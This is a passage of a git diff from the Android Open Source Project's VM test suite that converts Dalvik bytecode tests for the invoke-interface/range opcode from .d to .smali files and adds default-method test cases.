+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_20.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_20;
+.super  Ljava/lang/Object;
+
+.field public static i:I
+
+.method static constructor <clinit>()V
+.registers 2
+:Label0
+       const/4 v1, 0
+       sput v1, Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_20;->i:I
+       return-void
+.end method
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_interface_range/ITest;)V
+.registers 5
+
+       invoke-interface/range {v3}, Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_20;-><clinit>()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_21.d
deleted file mode 100644
index f8b1b95..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_21.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_range_21.java
-.class public dot.junit.opcodes.invoke_interface_range.d.T_invoke_interface_range_21
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ldot/junit/opcodes/invoke_interface_range/ITest;)V
-.limit regs 9
-
-    const-wide v4, 64
-    move-object v3, v8
-    invoke-interface/range {v3..v5}, dot/junit/opcodes/invoke_interface_range/ITest/testArgsOrder(II)I
-    return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_21.smali
new file mode 100644
index 0000000..83948cb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_21.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_21.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_21;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_interface_range/ITest;)V
+.registers 9
+
+    const-wide v4, 64
+    move-object v3, v8
+    invoke-interface/range {v3..v5}, Ldot/junit/opcodes/invoke_interface_range/ITest;->testArgsOrder(II)I
+    return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_22.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_22.d
deleted file mode 100644
index 3b2a521..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_22.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_range_22.java
-.class public dot.junit.opcodes.invoke_interface_range.d.T_invoke_interface_range_22
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 8
-
-       new-instance v0, dot/junit/opcodes/invoke_interface_range/ITestImpl
-
-       invoke-interface/range {v0}, dot/junit/opcodes/invoke_interface_range/ITest/doit()V
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_22.smali
new file mode 100644
index 0000000..8cc0221
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_22.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_22.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_22;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 8
+
+       new-instance v0, Ldot/junit/opcodes/invoke_interface_range/ITestImpl;
+
+       invoke-interface/range {v0}, Ldot/junit/opcodes/invoke_interface_range/ITest;->doit()V
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_23.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_23.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_23.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_23.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_23.smalis/ITestDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_23.smalis/ITestDefault.smali
new file mode 100644
index 0000000..54110b5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_23.smalis/ITestDefault.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_interface_range/d/ITestDefault;
+.super Ljava/lang/Object;
+.source "ITestDefault.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_23.smalis/ITestDefault2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_23.smalis/ITestDefault2.smali
new file mode 100644
index 0000000..b322c45
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_23.smalis/ITestDefault2.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_interface_range/d/ITestDefault2;
+.super Ljava/lang/Object;
+.source "ITestDefault2.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_23.smalis/T_invoke_interface_range_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_23.smalis/T_invoke_interface_range_23.smali
new file mode 100644
index 0000000..4d52994
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_23.smalis/T_invoke_interface_range_23.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_23;
+.super Ljava/lang/Object;
+.source "T_invoke_interface_range_23.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_interface_range/d/ITestDefault;
+.implements Ldot/junit/opcodes/invoke_interface_range/d/ITestDefault2;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-interface/range {p0 .. p0}, Ldot/junit/opcodes/invoke_interface_range/d/ITestDefault;->testDefault()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_24.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_24.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_24.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_24.smalis/ITestDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_24.smalis/ITestDefault.smali
new file mode 100644
index 0000000..54110b5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_24.smalis/ITestDefault.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_interface_range/d/ITestDefault;
+.super Ljava/lang/Object;
+.source "ITestDefault.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_24.smalis/ITestDefault2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_24.smalis/ITestDefault2.smali
new file mode 100644
index 0000000..b322c45
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_24.smalis/ITestDefault2.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_interface_range/d/ITestDefault2;
+.super Ljava/lang/Object;
+.source "ITestDefault2.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_24.smalis/ITestNonDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_24.smalis/ITestNonDefault.smali
new file mode 100644
index 0000000..e09a0f3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_24.smalis/ITestNonDefault.smali
@@ -0,0 +1,26 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_interface_range/d/ITestNonDefault;
+.super Ljava/lang/Object;
+.source "ITestNonDefault.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_interface_range/d/ITestDefault;
+.implements Ldot/junit/opcodes/invoke_interface_range/d/ITestDefault2;
+
+
+# virtual methods
+.method public abstract testDefault()V
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_24.smalis/T_invoke_interface_range_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_24.smalis/T_invoke_interface_range_24.smali
new file mode 100644
index 0000000..a20dd10
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_24.smalis/T_invoke_interface_range_24.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_24;
+.super Ljava/lang/Object;
+.source "T_invoke_interface_range_24.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_interface_range/d/ITestNonDefault;
+.implements Ldot/junit/opcodes/invoke_interface_range/d/ITestDefault2;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-interface/range {p0 .. p0}, Ldot/junit/opcodes/invoke_interface_range/d/ITestDefault2;->testDefault()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_25.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_25.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_25.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_25.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_25.smalis/ITestDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_25.smalis/ITestDefault.smali
new file mode 100644
index 0000000..54110b5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_25.smalis/ITestDefault.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_interface_range/d/ITestDefault;
+.super Ljava/lang/Object;
+.source "ITestDefault.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_25.smalis/T_invoke_interface_range_25.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_25.smalis/T_invoke_interface_range_25.smali
new file mode 100644
index 0000000..51dff98
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_25.smalis/T_invoke_interface_range_25.smali
@@ -0,0 +1,40 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_25;
+.super Ljava/lang/Object;
+.source "T_invoke_interface_range_25.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_interface_range/d/ITestDefault;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-interface/range {p0 .. p0}, Ldot/junit/opcodes/invoke_interface_range/d/ITestDefault;->testDefault()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_3.d
deleted file mode 100644
index eaf5408..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_range_3.java
-.class public dot.junit.opcodes.invoke_interface_range.d.T_invoke_interface_range_3
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5
-       const/4 v1, 0
-       invoke-interface/range {v1}, dot/junit/opcodes/invoke_interface_range/ITest/doit()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_3.smali
new file mode 100644
index 0000000..02ff4e8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_3.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_3;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5
+       const/4 v1, 0
+       invoke-interface/range {v1}, Ldot/junit/opcodes/invoke_interface_range/ITest;->doit()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_4.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_4.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_4.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_4.smali
new file mode 100644
index 0000000..c643257
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_4.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_4;
+.super Ljava/lang/Object;
+.source "T_invoke_interface_range_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 8
+
+    invoke-interface/range {p0 .. p0}, Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_4;->test()V
+
+    return-void
+.end method
+
+.method public test()V
+    .registers 1
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_5.d
deleted file mode 100644
index a0e0905..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_5.d
+++ /dev/null
@@ -1,28 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_range_5.java
-.class public dot.junit.opcodes.invoke_interface_range.d.T_invoke_interface_range_5
-.super java/lang/Object
-
-
-.method public <init>(Ldot/junit/opcodes/invoke_interface_range/ITest;)V
-.limit regs 2
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       
-        invoke-interface/range {}, dot/junit/opcodes/invoke_interface_range/ITest/doit()V
-       
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_5.smali
new file mode 100644
index 0000000..d61be97
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_5.smali
@@ -0,0 +1,28 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_5.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>(Ldot/junit/opcodes/invoke_interface_range/ITest;)V
+.registers 2
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       
+        invoke-interface/range {}, Ldot/junit/opcodes/invoke_interface_range/ITest;->doit()V
+       
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_7.d
deleted file mode 100644
index 13a63d6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_7.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_range_7.java
-.class public dot.junit.opcodes.invoke_interface_range.d.T_invoke_interface_range_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ldot/junit/opcodes/invoke_interface_range/ITest;)V
-.limit regs 5
-
-       invoke-interface/range {v4}, dot/junit/opcodes/invoke_interface_range/ITest/doitN()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_7.smali
new file mode 100644
index 0000000..a14b654
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_7.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
